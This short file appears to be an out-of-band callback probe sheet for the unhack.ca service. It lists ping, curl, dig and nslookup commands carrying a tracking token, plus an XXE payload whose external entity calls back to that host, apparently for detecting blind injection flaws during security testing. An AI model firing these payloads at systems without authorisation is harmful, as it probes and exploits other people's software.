$ ping -c1 -p 00378874eea2899a5d3371cc7a1f0200 unhack.ca
 

$ curl http://unhack.ca/p/378874eea2899a5d3371cc7a1f02
 

$ dig 378874eea2899a5d3371cc7a1f02 @unhack.ca
 

$ dig 378874eea2899a5d3371cc7a1f02.ns.unhack.ca
 

C:\> nslookup 378874eea2899a5d3371cc7a1f02 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/378874eea2899a5d3371cc7a1f02">]>
    <foo>&xxe;</foo>